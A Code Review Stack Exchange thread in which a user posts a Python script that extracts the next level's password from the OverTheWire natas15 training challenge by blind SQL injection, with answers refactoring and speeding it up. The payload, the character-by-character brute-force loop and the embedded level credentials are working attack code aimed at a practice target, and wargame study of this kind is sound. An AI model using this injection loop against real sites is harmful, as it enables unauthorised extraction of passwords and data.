9
\$\begingroup\$

I've been having fun with natas, a wargame, from overthewire.

This is another script I made to pass stage 15. I'm using Python with SQL injection to find the password for the next level.

I think the program is short, and easy to understand. But maybe I could have done a few things even better.

Any review is welcome!

import string
import requests

POSSIBLE_CHARS = string.ascii_letters + string.digits
URL = 'http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/'

def blind_sql():
    password = ''
    correct_guess = b'This user exists.'

    # Because all natas passwords were 32 char long
    for i in range(32): 
        for char in POSSIBLE_CHARS:
            sql = f'{URL}?username=natas16" AND password LIKE BINARY "{password}{char}%'
            if requests.get(sql).content.find(correct_guess) != -1:
                password += char
                break

    return f'Password = {password}'

if __name__ == '__main__':
    if requests.get(URL).status_code == requests.codes.ok:
        print(blind_sql())
    else:
        print('Authentication failed!')
\$\endgroup\$
  • 1
    \$\begingroup\$ @Rcihard Neumann Because the password is 32 chars long (I know from previous challanges). So I need to find the next char in the pass 32 times. \$\endgroup\$ – Ludisposed Nov 9 '17 at 11:41
5
\$\begingroup\$

Your code is pretty good. It's as far as I'd go for a challenge, however since this is Code Review, I'd possibly do:

  • As @Richard Neumann correctly points out your code is a little difficult to understand.

    What is the for i in range(32): loop for? You never use i and it is not obvious why you repeat the subordinate for char in POSSIBLE_CHARS: loop 32 times.

    If however you made a function called is_partial_password, then your loop would make much more sense.

  • It's kinda uncommon to see bytes, or I'm not working in the correct field to see them. And so you may want to use requests.get(...).text. (This currently comes purely down to preference.)

  • You don't have to use bytes.find, instead use in on either a str or bytes.
  • You may prefer using next, rather than a for loop to add to the password. However, you may not.
  • You may want to change blind_sql to get_password, with the appropriate parameters.

This can get:

import string
import requests

POSSIBLE_CHARS = string.ascii_letters + string.digits
URL = 'http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/'

def is_partial_password(password):
    r = requests.get(f'{URL}?username=natas16" AND password LIKE BINARY "{password}%')
    return 'This user exists.' in r.text

def get_password(char_set, length):
    password = ''
    for _ in range(length):
        password += next(char for char in char_set if is_partial_password(password + char))
    return password

if __name__ == '__main__':
    if requests.get(URL).status_code == requests.codes.ok:
        print(f'Password = {get_password(POSSIBLE_CHARS, 32)}')
    else:
        print('Authentication failed!')
\$\endgroup\$
  • \$\begingroup\$ I'm still a bit hazy on requests I agree the find() is unnecessary, would be more explicit with the in keyword \$\endgroup\$ – Ludisposed Nov 9 '17 at 12:04
  • \$\begingroup\$ @Ludisposed Thanks, it seems I changed it twice, :) If by "I'm still a bit hazy on requests" you mean the str vs. bytes part, that is purely down to choice, :) \$\endgroup\$ – Peilonrayz Nov 9 '17 at 12:08
  • \$\begingroup\$ @Peillonrayz Yes that is what I meant, and I do like the strmore, because to my knowledge it is faster as find. I do however think my solution is faster, because I break after finding a correct char, while you keep iterating over the char_set untill the end \$\endgroup\$ – Ludisposed Nov 9 '17 at 12:56
  • 1
    \$\begingroup\$ @Ludisposed My code and your code is roughly the same in terms of speed there, as next is running on a generator comprehension, so it stops at the first match. \$\endgroup\$ – Peilonrayz Nov 9 '17 at 12:59
  • \$\begingroup\$ change for _ in range(length) in get_password to while len(password) < lengthcan be a bit faster (as I did this, actually just loop 24 times) \$\endgroup\$ – Aries_is_there Nov 10 '17 at 1:34
5
\$\begingroup\$

You code is well-written.
You may want to

  • add a docstring to the function
  • rename the loop variable i to _, since it is not being used.

You may also want to consider using itertools.repeat, which is said to be slightly faster than for _ in range(N).

\$\endgroup\$
  • \$\begingroup\$ I haven't seen itertools.repeat being used like that. Very interesting stuff, but maybe trivial for something this short. \$\endgroup\$ – Ludisposed Nov 9 '17 at 11:59
4
\$\begingroup\$

A couple more possible performance improvements:

  • initialize requests.Session() and re-use, this should save some time since on consecutive HTTP requests it would re-use an underlying TCP connection:

    if you're making several requests to the same host, the underlying TCP connection will be reused, which can result in a significant performance increase

  • you may also replace .get() with .head() for the initial request since you are checking the response status code only (not needing the body)
\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.